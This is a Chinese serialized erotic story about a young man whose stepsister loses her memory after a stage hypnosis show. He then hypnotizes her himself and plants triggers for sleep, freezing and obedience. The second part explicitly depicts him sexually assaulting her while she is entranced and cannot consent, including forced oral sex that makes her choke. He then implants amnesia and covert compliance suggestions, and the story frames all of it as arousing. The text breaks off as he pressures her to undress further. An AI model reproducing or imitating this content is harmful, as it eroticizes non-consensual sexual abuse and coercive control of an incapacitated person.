图片载入中

我的失忆姐姐

特大字】 【大字】 【中字】 【小字

该从何说起呢?

我的名字是胡育玮,今年十九岁,我有一个大我五岁的姐姐,但是我们并不是亲姐弟,十年前,妈妈带着九岁的我嫁到这个家里,没多久后,妈妈就因为意外过世了,我成了这个家里唯一没有血缘关系的人。

继父是个好人,虽然因为工作的关系长期不在国内,可是他给我的东西从没少过,完全没有因为妈妈的离开而有任何改变,不过说起来,这个家给我的也仅止于此。

我从来不觉得自己是这个家庭内的一分子,尽管偶尔回国的继父对我再亲切,我还是觉得自己像寄生虫一样,仗着已经过世的母亲,吸附着这个家庭的血。

不幸的是,姐姐似乎也这么认为,从小到大,她都很会支使我去做事情,一付‘不做事你就没有资格在这里住下去’的模样,只要我做错了一点事,她就会极尽所能的对我冷嘲热讽,我讨厌她,却又觉得自己没有这个资格。

我希望自己能发生用处,但是天不从人愿,从小到大,我什么都比不上姐姐,姐姐考上了一流的大学,毕业后,立刻就在一流的外贸公司工作,而我高工毕业就去当兵,从军中退伍了半年,还是只能零散的打工而已,这样的情况让我觉得自己在这个家里的立场更形薄弱。

诸如此类的原因,形成了我十分抑郁的性格。

不过这一切,却在那一天过后发生一百八十度的大转变。

晚上八点多,姐姐才刚从公司回来,我在房间打着电动,姐姐没有敲门就打开了房门。

“小玮,你在家啊?”姐姐不太开心的口气,“还没找到工作吗?”

“嗯。”我按了暂停键,含煳的应着。

“我说你啊,不如考虑再考大学吧?”

“不行的,我没有那个脑袋,”我为自己找着借口,“再说,如果考个烂大学也没什么管用。”

“都没努力过就会说不行,”姐姐嘀咕着,看了看我,“算了,你自己决定吧。”接着走回了客厅。

几分钟后,我把电动关了起来,走到了客厅看到姐姐放在桌上的票券,顺手拿起来看了看,是最近来台湾表演的国际催眠大师的催眠秀,对于催眠,我有一种异常的狂热,之前我就很关注这个消息,只是考虑到票价不便宜,现在这种时候也不好再乱花钱,没想到姐姐会有票。

姐姐看到了我,随口问着,“怎么样,要一起去吗?”

“好啊。”我尽量表现的平常,有这样的机会,我当然是求之不得,我不确定姐姐怎么会找我,但想来一定是她哪个朋友突然爽约之类的原因。

到了开演的那天,姐姐开车带我到了会场,会场大约有二十几排的座位,我们坐在第十排的位置。

姐姐的脸上化着淡妆,穿着正式的套装,设计感很重的波浪长发,看起来十足的社交名媛,相较之下,我穿着普通到极点的T恤和牛仔裤,一头不修边幅的乱发,不知道旁人眼中的我们看起来像是什么关系。

我们没有说太多话,很快的,到了表演开始的时候。

催眠师邀请想被催眠的自愿者上台,姐姐当然没有上台,她不是那种好奇心旺盛的人,我也没有上台,我是想来看表演,而不是来被表演的。

在冗长的催眠测试后,有一半以上的观众被请了回去,留在台上的只剩十来个人,接着催眠师让他们面对着观众坐成了一排,开始进行催眠诱导。

“轻松的坐着,仔细的听着我的声音。”催眠师用着不是很标准的中文,但十分低沉而有力的声音说着,“我要你们看着灯,不要让你们的眼睛离开这个红灯。”

舞台的上方降下了一盏红灯,红灯的位置相当巧妙,不只对着台上的自愿者,我们坐着的位置也能很清楚的看到红灯。

“仔细的看着红灯,我希望你现在开始做一个深唿吸,来唿……将空气吸进来,好,停住”催眠师的语调相当的有诱惑性,戏剧张力十足的说着,“吐出来……”

重复了几次之后,台上的自愿者似乎都露出了倦意,“好,现在把眼睛闭起来,这个感觉好好、好舒服,我不想张开眼睛,好舒服……就把眼睛紧紧的闭着吧。”

“当我数到三,你就会放掉所有的力气,深深的睡去……”

“一,愈来愈放松、愈来愈放松,将所有的力量释放出来……”

“二,什么都不要想,好舒服……”

“三,深深的睡去……”

在我专心的看着台上的自愿者纷纷垂下了头,进入催眠状态的时候,我突然感到左肩一股压力,转头一看,竟然是姐姐靠在我的肩膀睡着了。

姐姐被催眠了?我感到心脏剧烈的加速跳动着,怎么可能,催眠师还在那么远的位置,平常这样强势的姐姐,怎么可能这样就被催眠?或者是……表演太过无趣,她只是单纯的睡着了而已?

当我还在胡思乱想的时候,催眠师转过头面对着观众。

“看来有一些感受度很好的人,在观众席也进入了催眠状态了呢。”

观众开始鼓噪的左右张望着,姐姐很快就形成了焦点,我也觉得身体十分的僵硬,生怕一个动作就会影响姐姐的催眠状态。

“在观众席上的你听好,如果你已经进入了很舒服的催眠状态的话,请你站起来。”

不知怎么的,在我心里其实有一丝希望姐姐并没有被催眠,但就在催眠师话一讲完的时候,我肩上的重量立刻消失不见,姐姐抬起了头,缓缓的站了起来。

我四处看了一下,在观众席上站起了三个人,几个工作人员立刻走到了他们身边。

“好的,你们真是太棒了,”催眠师说着,“请跟着旁边的人的引导到舞台上来。”

工作人员握着姐姐的手,将她带上了舞台,我完全没有想到竟然会有这种进展,刚开始的时候,我还在寻找舞台上有几位美女,想像着她们被操纵的模样,但现在,我所有的目光焦点都集中在姐姐的身上。

催眠师又做了一些引导之后,让自愿者清醒了过来,姐姐张开了眼睛,一脸十分茫然的模样,我原本只想这是她发现自己跑到了舞台上的关系,但之后才知道不只是如此。

催眠师一个一个的问着大家的名字,然后用各种有趣的方式让自愿者回到催眠状态,如果是一般的时候,这是我最喜欢的部分,看着自以为清醒的自愿者在催眠师的命令下毫无预警的回到催眠状态,总让我感到莫名的兴奋。

但现在,我只是不断注意着姐姐,她四处张望着,我从来没有看过她如此不安的模样。

终于,催眠师来到了姐姐的面前。

“这位美丽的小姐,你叫什么名字?”

姐姐一脸困惑的看着催眠师,没有回答。

催眠师等了一会儿,又问了一次,“你叫什么名字?”

姐姐的视线开始游移着,不知道在想着什么,还是没有回答。

催眠师转过头看着观众耸了耸肩,然后伸手推了一下姐姐的额头,姐姐立刻闭上眼睛,整个身体软了下去,枕在隔壁男人的大腿上。

观众爆出了惊唿与掌声,但我只想过去挥那个男人一拳。

接下来将近一个小时的表演,催眠师让自愿者做出各种表演,让他们模仿各种角色,姐姐无疑是最合作的自愿者之一,尤其是当催眠师让台上的女孩都变成脱衣舞娘的时候,姐姐的肢体动作绝对是最耀眼的一个,我不确定她有没有受过什么舞蹈的训练,反正她做什么都那么有天分。

表演结束后,催眠师让自愿者回到自己的坐位。

“非常感谢你们,大家表现得很好,很棒的表演,给了我们一个愉快的夜晚,”催眠师说着,“当我数到三之后,你们会完全清醒过来,今晚的催眠暗示不会再对你们有任何影响,除了一点之外,当你们清醒过来之后,会觉得非常的舒服,会比以前更有自信,一、二、三……醒来。”

我看着姐姐张开了眼睛,“姊,还好吧?”我问。

姐姐看着我,完全不是平常的眼神,表情几乎跟在舞台上看着催眠师的感觉差不多。

“你没事吧?”我又问了一次。

姐姐一直盯着我看,好不容易才开口说了一句话,“你是谁?”

我倒抽了一口气,这他妈的怎么回事?“姊,你在开玩笑吧!?”

姐姐微微的摇了摇头,往四处看了看,“这是什么地方?”

我握住姐姐的肩膀,“看着我,我是你弟弟啊,”我叫着,“你真的不认得我?”

姐姐一脸茫茫然的摇了摇头,我现在才确定事情真的不对劲,我从没看过姐姐这么没有自信的表情,她也不是会开这种玩笑的人,这么说,她是被催眠后就忘了一切?妈的,我说过我对催眠一直很有兴趣,但看遍了各国的催眠表演,也没有听说过有这种事情!

“跟我来!”我拉着姐姐的手,往会场的后台冲。

人群都在陆陆续续的离场,我们和大家相反方向前进,到了舞台旁边的时候被警卫给挡住,“对不起,这边非工作人员不能入场。”

“我要找刚才的催眠师!”我大吼着。

“不好意思,请问你有什么事情?”

我不知该从何说起,继续吼着,“很紧急的事,如果你不给我进去,去把他给叫出来!”

大概是我的激动让警卫也感觉到事情的严重,他们让一个人到舞台后面去通知,两三分钟过后,他跑了回来。

“不好意思,催眠师已经坐车离开了。”

什么鬼?熘这么快!“不是吧,你们要怎么负责?”

“我们只是负责这里的保安……”警卫似乎很无辜的说着,然后好像突然想到了什么,递给了我一张名片,“这是那位催眠师的名片,可以的话,请你自己再连络他。”

“你们就这样……”我还想开骂,却发现姐姐轻轻的拉着我的衣角。

我有一种很特殊的感觉,以前姐姐支使我做什么事情,是绝对不会用这样小女人的动作的。

“可以了啦……”姐姐低着头轻声的说着。

我想再纠缠下去的确也没有什么用,只好带着姐姐到会场外面,照着名片上的电话打给催眠师,却一直都是占线中,怎么也连络不到,然后我带着她到停车场,打算先回家去。

姐姐站在车子的旁边,好像在等着我开门。

“车钥匙在你那里。”我说。

“啊,是吗?”姐姐说着,摊开了双手,当然什么也找不到。

“包包里吧。”我说。

“包包?”姐姐看着自己挂在肩上的手提包,好像迟疑了一会,才打开翻了一下,“是这个吗?”她很自然的将钥匙交给了我。

我呆了一下,我前几个月才考上驾照,好几次想跟她借车,但她说什么也不肯让我开,没想到她竟然是在这种情况把钥匙给我。

“谢谢你。”上了车之后,姐姐突然说着。

“呃……为什么?”我有点讶异。

“我也不知道,你好像为了我的事很拼命似的。”

“当然啦,”我一边发动着车子,“我是你弟弟嘛。”

姐姐似乎很幸福的笑着,说真的,我很少看到她这样放松的神情。

她又翻了下包包,好像找到了自己的身份证,拿起来盯着好一段时间,“简……翊……凌,这是我的名字吗?”

“嗯。”我简短回答她。

说真的,我几乎没什么道路驾驶的经验,有点紧张,不过姐姐似乎一点也没发现。

“弟弟,虽然这么问似乎有点奇怪,”姐姐笑着,转过头看着我,“你叫什么名字?”

“胡育玮。”我大部分的注意力都集中在路况,只能简单的回答。

“胡……?我们不是姐弟吗?”

“这……说来话长,”我想了想,“我跟妈妈姓。”嗯,简单讲就是这么回事,虽然我其实是跟着妈妈的前夫姓。

回到了家里,姐姐就好像到朋友家作客的小朋友一样,十分好奇的到处看着,“就我们两个人住吗?”

“算是吧。”

“爸爸妈妈呢?”

“爸爸在大陆工作,妈妈……”我迟疑了一下,“很早就过世了。”

“这样啊……”她的眼里闪过了一丝忧伤。

我看着她,心里有十分复杂的感觉,傍晚出门前,姐姐还对我的穿着指指点点的,只是几个小时后,却有这么大的转变。

“怎么了?”姐姐看着我。

“没有……我在想,你怎么好像不太在乎自己失忆的事?”

姐姐被我一问,好像呆了一下,“我也不知道,刚才在那里的时候,我觉得好害怕、好慌张,不知道自己是谁,也不知道自己在什么地方,可是我现在觉得很安心,”姐姐看着我很甜的笑着,“因为你在我身边嘛,看你那么努力的保护我,我就什么都不担心了。”

天啊,我竟然突然有了心动的感觉。

说起来,姐姐是个十分标准的美女,细致而轮廓分明的五官,玲珑有致的身材,但是我们之前的相处,让我对她没有任何感觉,可是现在……我发现自己的双颊热了起来,赶紧偏过头去,“你要先去洗澡吗?”我赶紧随便想了个话题。

“好啊,”她回答着,又四处看了看,“我的房间在哪里?”

我带着她到房间,让她进去以后,我就打算回到客厅,姐姐从来不让我进她的房门。

“怎么啦,你不进来?”姐姐问我。

“嗯。”我应着。

姐姐站在衣橱前面,好像在迟疑着什么,“你进来啦。”

“怎么了?”

“我觉得一个人的话,感觉好像在偷翻别人的东西一样。”她嘟着嘴。

“这是你自己的东西啊。”

“我知道,可是……就是有这种感觉嘛,你进来啦,不然我会害怕。”姐姐的声音有点撒娇。

我苦笑了一下,走进了这个家里我从来没有进入过的禁地,看着姐姐打开了衣橱,她的眼睛一亮,好像发现新玩具的小孩一样,然后拿了一件红色的晚礼服出来摆在身体前面,“漂亮吗?”

“你是要找洗完澡睡觉要穿的衣服吧。”我说。

“也是喔。”她吐了吐舌头。

姐姐去洗澡以后,一下子安静了下来,我反而觉得脑袋更纠成了一团。

事情怎么会变成这样?接下来该怎么做?明天天亮再去找催眠师吗?话说回来,姐姐这付模样,是那位催眠师造成的‘意外’吗?又或者是他开了一个玩笑?

无论答案是什么,我觉得我都不能再信任这个催眠师,还是应该直接带姐姐去找医生?我又突然想到,如果姐姐的模样确定是催眠造成的,以我对催眠的了解,催眠建议的效果应该是有时效性的,说不定明天一早姐姐就恢复正常了。

到那时候,姐姐会不会骂我开她的车……

啊!好烦!明天的事明天再说吧。

我回到房间打开了电动,心情烦躁的时候大杀一场是最有效的,我将玩到快烂掉的游戏片放了进去,用吕布去打最低级的黄巾之战,这种时候只适合这样无脑的乱打一通。

不知道过了多久,我突然才注意到姐姐已经洗好澡,站在我身边看着,我赶紧将游戏暂停起来。

“这是什么?”她问着,很有兴趣的样子。

“PS3。”我回答着,姐姐穿着一件宽松的T恤和热裤,露出一大截雪白修长的大腿,以前即使在家里,姐姐也从不会让我看到她这样随便的模样,我赶紧转移目光,却发现她只是盯着萤光幕看。

“你玩啊。”她说。

我将摇杆拿给了她,“你想玩玩看吗?”

“可以吗?”她露出了十分跃跃欲试的模样。

“当然可以。”我笑着,每次姐姐看到我在打电动总是一付嗤之以鼻的模样,她连游戏画面都没正眼看过,更别说试试看了。

姐姐接过了摇杆,我在旁边指导着她怎么游戏,我终于发现姐姐也有不擅长的事情,她很拼命的拿着摇杆左摇右晃,但画面上的人物似乎一点也不听她的话,搞到最后,吕布竟然也能被一个据点兵长干掉。

“可恶,”姐姐嘟着嘴,“我是本来就不会玩,还是失忆才变这样?”

我苦笑了一下,“你从来没有玩过。”

姐姐张大了眼睛,“是吗?那换个我玩过的。”

‘这里没有那种东西。’我原本想这样回答,但又不想打破她对自己的幻想,我没有说什么,挑了一个比较适合女生的游戏,以前是想说哪天交女朋友派得上用场才去买来的,没想到过了这么久也没交到女朋友,第一次派上用场竟然会是给姐姐玩。

我们就这样打游戏机打了好几个小时,一直到三更半夜,我已经完全撑不住了,才把姐姐赶去睡觉。

我躺在床上,觉得好像快虚脱了一样,也许明天一早,姐姐就会恢复正常了,我这样盼望着,却发现自己又有一点希望姐姐一直维持现在的样子……————————待续————————**********************************我的失忆姐姐(中)作者:催眠使者

早上意识还朦朦胧胧的时候,一直听到不知道是闹钟还是电话还是什么的噪音,我蒙着头不想理它,想说没找到工作前可以睡到自然醒的时间也不会太长了……

“育玮,快起床啦。”

听到女生温柔的嗓音,从来没有人会这样叫我,之前睡到太夸张的话,姐姐都是直接把我踢下床的,我微微睁开了眼睛。

是姐姐,怎么不像平常的姐姐?

对了,昨天去参加催眠秀之后,姐姐就失忆了,这个时候我的脑袋才慢慢的恢复运转,姐姐果然还没恢复吗?

我整个人惊醒了过来,抬起了头,姐姐由于俯身叫我,领口往下垂着,我坐起身后视线刚好可以从她的领口看进去,诱人的乳沟和粉红色的胸罩映入眼帘,天啊,我发现自己的裤裆搭起了比往常都还要高的帐篷。

“你终于醒了,电话一直在响,我不敢接。”姐姐说着。

我深吸了一口气,试着让自己更清醒一点,然后走到客厅接起了电话。

“喂?”

“谢天谢地,总算有人接电话了,”电话那端像在自言自语似的,“不好意思,你好,我是翊凌公司的经理。”

“是的,你好。”我尽量让自己的声音不像刚睡醒的感觉。

“你是她弟弟吗?翊凌今天没有来上班耶。”

“喔,不好意思……”我看了看时间,九点多了,脑袋快速的转着,“今天早上发生了一点意外,我才刚从医院回来整理一些东西。”

“天啊,怎么样的意外,翊凌还好吗?”

“请放心,并没有很严重,不过……可能要请几天假。”当事人好端端的站在电话旁看着我,让我觉得很心虚。

“这样啊,是在哪间医院,我们下班后去探望她。”

“不……现在情况还不是很稳定,会转到哪家医院也说不定,我要赶快赶回去了,确定的话我会再通知你。”

“我知道了,真抱歉,那请她一定要好好休养。”

“谢谢,再见。”我挂断电话以后,重重的吐了一口气。

“找我的?”姐姐问着。

我点了点头。

姐姐突然咧开嘴笑着,很开心的模样。

“你笑什么?”我苦笑的看着姐姐,感到不明所以。

“你还真会说谎。”

“还不是你害的。”我有点恼火,这辈子真的没有说过这样不着边际的谎话。

“嘻…”姐姐吐了吐舌头,很可爱的笑着,将我一点点的怒火浇的一干二净,“我准备了早餐,盥洗一下快点来吃吧。”

吃完早餐后,我回到房间穿衣服,想着是不是该带姐姐到哪家医院去,姐姐跟着我走进了房间,在我的房间里四处看着,然后她盯着我的书架看着。

“你会催眠吗?”

我的书架上大多高工时机械的相关书籍、电玩杂志,只有几本心理学和催眠术的相关书籍,不知道姐姐为什么会特别注意到那些书。

“学过一阵子。”我回答,我曾经花了好几万块去参加了一个月的课程,书架上那些书也是那个时候老师推销的,不过我觉得自己好像被骗钱了一样,每次分组练习都和一些糟老头配对,而且我一次也没有成功过。

“哇……”姐姐很佩服似的,然后好像突然想到了什么,“你有催眠过我吗?”姐姐斜着头问着。

我突然感到身体像是被电击了一下。

我不知道有多少人能理解我现在的感觉,从青春期开始,我就对催眠一直有着异常的执迷,不只是催眠,而是任何有关心灵控制的东西都令我着迷,甚至在看电视剧的时候,只要看到美丽的女孩在自己都不知道的情况下执行着命令,清醒之后,对自己所做的事一无所知的模样,就会让我异常的兴奋。

而现在一个活生生的美女站在面前问我‘你有催眠过我吗?’,天啊,这对我而言简直是无上的刺激。

正确答案当然是没有,以前的姐姐无论如何也不可能让我催眠她的,而且我也压根没有过这样的想法,可是我故意不正面回答她,想让她继续维持着怀疑,“怎么突然这样问?”

“有没有嘛?”姐姐撒娇的问着。

我摆出不置可否的表情,“你说呢?”

姐姐走到我的前面,就贴在我的面前十几公分的地方盯着我的眼睛看,我虽然内心十分的激动,但仍保持着表情的冷静,不让她看出破绽。

看到姐姐这样的模样,我心中充满着想催眠她的欲望,自从学了催眠,我就无数次的幻想着有女孩愿意让我催眠的画面,可是我不但没有女朋友,连熟识的女性朋友都没有,当然从来都没有这样的机会。

说真的,我没有想到要侵犯她什么的,我也没有自信自己半调子的催眠术能有什么效果,我就只是想试试,想看着姐姐试着被我催眠的模样,即使结果是失败的,我也不想放掉这个第一次催眠女孩的经验。

可是……姐姐是昨天被催眠才变成这样子的,我怎么有立场去说服她让我催眠?

刚才还想着要带她去治疗失忆的念头消失得无影无踪。

“这样,你试试催眠我。”姐姐说着,很认真的表情。

说什么啊,难道她不记得自己是被催眠才变成这副模样的吗?

怎么也没想到她竟然会自己开口,但我绝不能露出见猎心喜的模样,“为什么这么想?”

“没什么啊,”姐姐斜着头,“我想如果你能催眠我的话,以前一定就试过了吧,那就再做一次啊,说不定我能想到以前的事情。”

姐姐也在想办法找回自己,但方向似乎完全错误了。

“好吧,你在这边坐着。”我坐在床沿,让姐姐在我身边坐下。

姐姐坐了下来,看着我,脸上止不住的笑意。

“握住你的双手,向前举着,”姐姐照我的话做着,“对,就是这样,把拇指伸出来,看着你自己的拇指。”

才刚开始,光是看着姐姐试着被我催眠的模样我就感到相当兴奋。

当初去上催眠课程,每次要分组练习的时候,几个年轻女孩总是立刻找好自己的对手,不善交际的我就只能和一些中年欧吉桑配对,说真的,我想我从来没能成功的催眠对方,和对象也有很大的关系。

我还记得有一次在实施‘惊愕催眠法’,我几乎已经成功了,当我将对方的手一拉,我真的感到他放掉了力量,软软的朝我倒了过来,可是当我看到他头顶油腻腻的地中海秃的时候,我感到一阵恶心,大概是声音也有点颤抖,对方就立刻清醒了过来。

现在我终于有机会对漂亮女孩施行我的催眠,我相信一定会很顺利的。

我决定就对姐姐使用我几乎成功过的‘惊愕催眠法’。

“很好,就是这样,将视线集中在自己的手指,”我指挥着姐姐,“我要你做一个深唿吸,深深的吸一口气……吐出来。”

姐姐专心的执行着我说的话,脸上的笑意慢慢的消失不见。

“很好,放轻松,将你的手伸直,再伸直一点,”我压着姐姐的手肘,将她的手拉直,“我要你想像你的手臂变得像棍子一样,完全不能弯曲。”

姐姐皱了一下眉头,似乎在努力的想像着。

这次我反方向的压着她的手肘,试着让她的手臂弯曲,并一边慢慢的加强力道,直到感到她的肌肉完全紧绷着。

“很好,就是这样,你的手臂变成了棍子,谁也不能折弯,看着你自己的拇指,专心的唿吸……”

我说着,然后突然大力将她的手臂压了下去,同时伸手握住她的肩膀将她揽进怀里,“睡!”

和秃头男子当时一样,我感到姐姐瞬间放掉了力量,可是姐姐扑倒在我的怀里散发着淡淡的发香,这种经验跟上次催眠秃头男时,完全是地狱与天堂般的不同。

“深深的放松、深深的放松,你感到全身的力量一点一点的消失。”

我说着,轻轻的将姐姐放到了床上,整个过程,我都一直在想着如果姐姐突然清醒过来的话,我接下来该使用哪一种诱导法,姐姐还愿意再尝试吗?

我真的没有把握能成功的催眠姐姐,脑海里一直想着她突然张开眼睛说我果然无法催眠她的模样,可是这样的担心似乎全是多余的,姐姐就只是很安详的睡着,我轻轻抬起她的手臂又放开,她的手臂毫无阻力的落了下去,感觉真的相当的放松。

“当你感到我的触碰的时候,你会将力量更进一步的放掉,”我说着,伸出手指轻轻的抚摸着姐姐的额头,“你的额头……”我一边说,一边将手指轻轻的向下滑,“你的眼睛、嘴唇……”

她不是装的,我可以感受到姐姐完全松弛的肌肉,我的阴茎充满了血,努力控制着自己的唿吸与语调。

“你的手臂……手指……愈来愈放松……让所有的力量消失……”姐姐毫无防备的微开着双唇,像小婴儿一样的睡着,我深吸了一口气,更大胆的用手指轻触她的大腿,“你的双腿……脚趾……完全没有任何一点力量。”

“你做得很棒……”我有点犹豫该叫她什么,之前催眠老师教我们,在诱导的过程中要不断重复对方的名字,每个人对自己的名字都有着特殊的感应,藉着不断的重复可以更取得受术着的信任。

可是对现在的姐姐而言,翊凌能算是她的名字吗?虽然她昨天在车上看过一次,说不定现在也忘了,如果说这个名字,会不会反而让她感到不自在?

“做得非常的好,姐姐,”我还是决定这么叫她,我猜这样比较能得到她的信任,“现在我要你让你的头脑也更加的放松,我要你从一开始往上数着,每数一个数字,你就会感到自己更加的放松,什么都不用想,你会一直数着,直到放松到你连下一个数字也数不出来……现在开始……”

大约过了两、三秒,姐姐开始含煳的发出了声音,“一……二……”

“很好,每数一个数字,就更加的放松,将所有的思绪放空……”我在她数数字的间隔中引导着她。

“十五……十……六……十……十……”姐姐的数数愈来愈缓慢。

“好了,你可以很放松的停止了,”我说着,“什么都不用想,很舒服的听着我的声音,你会很自然的,很开心的听从我的声音,服从我给你的任何指示,如果了解的话,你可以很轻松的点点头。”

也许是因为太过放松,好几秒后,姐姐才点了点头。

直到现在,我还不太能相信这是现实,极端的兴奋让我感到整个人飘飘然的,好像在作梦一样。

以往只能从影片中看到这样的内容,而现在,我竟然亲自施行着催眠,让姐姐进入了催眠状态,我将家里的数位摄影机拿了出来,放在房间的角落。

“你觉得好放松、好舒服,我要你牢牢的记住这种被催眠的感觉,深深的爱上这种感觉,当你醒来之后,只要我命令你睡,你就会立刻回到这种催眠状态,甚至比现在更深十倍的催眠状态。”

我停了一会,让姐姐吸收我的指令,“不只是我命令你睡的时候,当我用手指触碰你的额头、当我在你耳边弹指、当我要你看着我的双眼,只要你感受到我想要催眠你,你就会很舒服、很合作的进入更深十倍的催眠状态,因为你很喜欢这种感觉,了解吗?”

隔了几秒钟,姐姐又点了点头。

“好的,当我数到三,你就会清醒过来,而我的催眠暗示会深深的植入你的潜意识中,一……慢慢的回复力气,”我看到姐姐的手指抽动了一下,继续说着暗示,“二……感到很愉快,精神愈来愈好,”随着我的命令,姐姐微微的扬起了嘴角,“三……醒过来!”

姐姐张开了双眼,眨了好几下,好像一时还搞不清状况,过了好几秒才慢慢的坐起身来。

“觉得怎么样?”我问。

姐姐的心绪似乎这个时候才真的回到了这里,脸上堆满了笑容,“好像在作梦一样,全身轻飘飘的,好放松的感觉。”

“说说你记得些什么事情?”

姐姐很认真的思考着,“我专心的看着手指,听着你的话调整唿吸,然后你突然叫了一声什么,我就什么都不知道了,只觉得很轻松……”

“就像这样吗?”

“什么?”姐姐张大眼睛看着我,天啊,这种无辜的眼神真是太动人了。

“睡!”我大喊一声,姐姐就像玩具一样,毫无预警的被我关掉了开关,重重的往床上倒了下去。

以往只能在影片里看到的画面,我现在竟然自己实行着。

“我拉一下你的手臂你就会清醒过来。”我一边说着,一边将她额头上的头发拨开,然后拉了一下她的手。

姐姐张开眼睛,一开始感觉有点迷茫,然后一边微笑着,一边露出了讶异的表情。

“你刚刚又进入催眠状态了呢。”我说。

“嗯。”姐姐用双手摸着脸颊,有点发热的样子。

“能说说是怎么样的感觉吗?”

姐姐皱了下眉头,“我不知道,我好像听到你突然大喊一声,就整个失去了意识。”

“这次我不出声音。”我说着,然后用手指点了一下她的额头。

和预期一样,姐姐很完美的回到了催眠状态。

“很好,你又进入了更深沉的催眠状态,你感到很放松、很安心,你只能听到我的声音,任何的东西都无法干扰你,被碰到也不会有感觉……”

我说着,然后用手指搔着她的腋下,姐姐十分放松的睡着,完全没有任何反应,我先前说过,我并没有要侵犯姐姐的意思,但那是在还没成功催眠姐姐的时候,此时此刻,看着这样的尤物毫无防备的模样,怎么说我也是正常的男人啊!

我伸出手隔着衣服搓揉着姐姐柔软而饱满的乳房,然后俯下身吻着她的蜜唇,更大胆的将舌头伸进她微张的嘴里,熟睡中,我甚至感觉姐姐温热的舌头也完全放松着。

催眠超乎我想像的成功,接下来该做什么呢?一直以来埋藏在心底的欲望火山一样的不断喷发出来。

“姐姐,听好,等一下醒来以后,只要你听到我说‘暂停’,你的时间就会完全停止,你会停止所有的动作,停止所有的想法,只要你一听到我说‘暂停’,你就会完全进入时间停止的世界,直到我说‘开始’,你的时间才会继续流动,了解吗?”

我紧张的看着姐姐的反应,之前诱导的暗示都是催眠班里学的,但现在这个却是看着A片自己凭空揣摩出来的,姐姐能接受吗

虽然花了比较长的时间,不过熟睡中的姐姐终于还是点了点头。

“很好,你现在可以醒来了。”我说着,拉了下姐姐的手。

姐姐张开了眼睛,又是一脸迷茫的模样。

“记得我刚才给了你什么暗示吗?”我问。

听到我的声音,姐姐才好像真的回过了神来,看着我摇了摇头,然后她用手摸摸自己的嘴,因为刚才还沾着我的口水,她大概是感觉嘴唇湿湿的,露出一脸困惑的表情。

“姐姐,看我这边,”我看到姐姐看到了我这边,立刻说出了暗示,“暂停。”

姐姐的动作很完美的停止了下来,我伸出手在她眼前挥着,她也连眨眼都没有,我真的没想到,连这样的命令姐姐也这么完美的执行着,以往只能在影片中欣赏的场景活生生的搬到了眼前。

我走到了姐姐的另一边坐了下来,“开始。”

“咦!”姐姐叫了一声,然后慌张的转着头,突然看到了我,又更大声的叫着,“咦?咦!你怎么办到的?”她用手遮着嘴巴,一脸吃惊的模样。

“暂停。”我说着,姐姐张大眼睛的可爱模样很完美的被保留了下来。

我将姐姐的手移开,吻着她的唇,然后将她的双手举到了空中,把她身上穿的T恤拉了起来,抚摸着她苗条平滑的腹部,我相信姐姐平常一定有持续的锻炼,雪白的腹肌显得相当的结实,用舌头舔着她的肚脐,隐约中我感到到姐姐的身体似乎有一点颤抖,抬头一看,她仍然维持着一样的动作,沉浸在自己时间停止的世界。

我将她的上衣脱了下来,丢到了地上,“开始。”我说。

姐姐眨了眨眼,清醒过来,第一时间她仍然举着双手,然后才一脸困惑的放了下来,接着她发现自己身上只剩下胸罩,“啊!这是什么!”她惊唿了一声,看到自己被丢到地上的衣服,跪到了地上捡起衣服准备穿上。

“暂停。”我说着,姐姐很乖的停止了动作,然后我走到了她身边,把她手上的衣服拿开。

姐姐跪在地上,我将她的头仰了起来,让她张大了嘴,然后我把裤子脱了下来,把早已经涨的老大肉棒往她嘴里塞,姐姐温热的口腔给了我一阵酥麻的感觉。

我压着她的后脑勺,她整个脸埋进我的阴毛中,然后我用力顶着,拉着她的头做着活塞运动,粗暴的将龟头顶进她的咽喉。

“咳、咳!”姐姐突然咳了几下,我吓了一跳,赶紧将肉棒抽了出来。

姐姐原本还做着拿衣服动作的手已经恢复了自由,她用手摀着嘴继续咳了几下,表情似乎很痛苦。

“睡!”我趁她还没恢复清醒,赶紧在她耳边弹了一下手指。

还好,即使是在这种状态,姐姐还是很顺从的回到了催眠状态,她软倒在我的怀里,我将她轻轻的放了下去,让她躺在地上,以前有听说过,被催眠者在遇到危险的时候还是会清醒过来,就是这种状况啊……

“姐姐,很好,进入更深的催眠状态,当你醒来以后,你会忘记刚才被催眠时发生的事情,了解吗?”

姐姐很快点了点头,原本有点想就此打住的,但是看到姐姐这么听话的模样,我又不禁想做点更有趣的暗示。

“当你醒来以后,你会忘记自己被催眠过,而且你也绝对不会相信自己被催眠了,无论发生什么奇怪的事情,你都会坚持那是很正常的,因为你觉得自己并没有被我催眠,了解吗?”

点了点头。

“可是呢,你其实仍然被我催眠着,你的潜意识会牢牢的记住我给你的催眠暗示,当你醒来后,只要你看到我用手碰着鼻子,并要求你做事的时候,无论你想不想做,你都必须去完成,你甚至不会觉得那是我的命令,只是你必须要完成的事情而已,了解吗?”

我停了一段时间,让姐姐的潜意识确实吸收了命令以后,叫醒了她。

我坐回了床上,看着上半身只剩下粉红色胸罩的姐姐缓缓得从地上坐了起来,“咦,怎么了?”她不断眨着眼睛,一脸迷濛的模样。

我似笑非笑的看着她,姐姐看到我的表情,缓缓站了起来,一脸狐疑的盯着我看。

“我怎么会躺在地上?”

“因为你刚才被我催眠了。”

姐姐眨了两下眼睛,不断的看着我,好像不明白我在说什么一样,又过了几秒钟,她才好像突然清醒似的眼睛一亮,“对了,你刚才不是说要催眠我?要开始了吗?”她坐到了我的身边。

这种无辜的模样真的是太诱人了。

“都说了你已经被催眠了。”

“骗人,”姐姐皱着眉头,“你什么都没做怎么催眠我?”

“那我问你,怎么会穿成这样在我的房间?”

姐姐看了看自己,好像才发现自己身上只穿着胸罩,然后沉默了下来,不断眨着眼睛,好像自己的理智和我的催眠暗示不断抗争的样子。

看着自己的催眠暗示在她脑海里发酵的模样让我相当兴奋,不过一方面我也有点紧张,这样的冲突会不会让她直接清醒过来,这么一来,让她再回到催眠状态的暗示说不定也会失效。

“我们是姐弟嘛,这样有什么好奇怪的?”姐姐终于开口说着,太好了,似乎是催眠暗示获得了最后的胜利。

姐姐看着我的脸,感觉有一点失去信心的样子,“你怎么啦,难道我之前不会这样?”

别说是只穿一件胸罩了,姐姐很在意自己的形象,我说过,就连刚才只套着T恤的居家模样我都没有看过。

不过我对姐姐摇了摇头。

“就是嘛,那你还说。”姐姐嘟着嘴,有点生气的模样。

“既然这样,把胸罩也拿下来吧。”我说。

“咦?”姐姐吃了一惊,“你在说什么啊,我才不要!”

“为什么?”

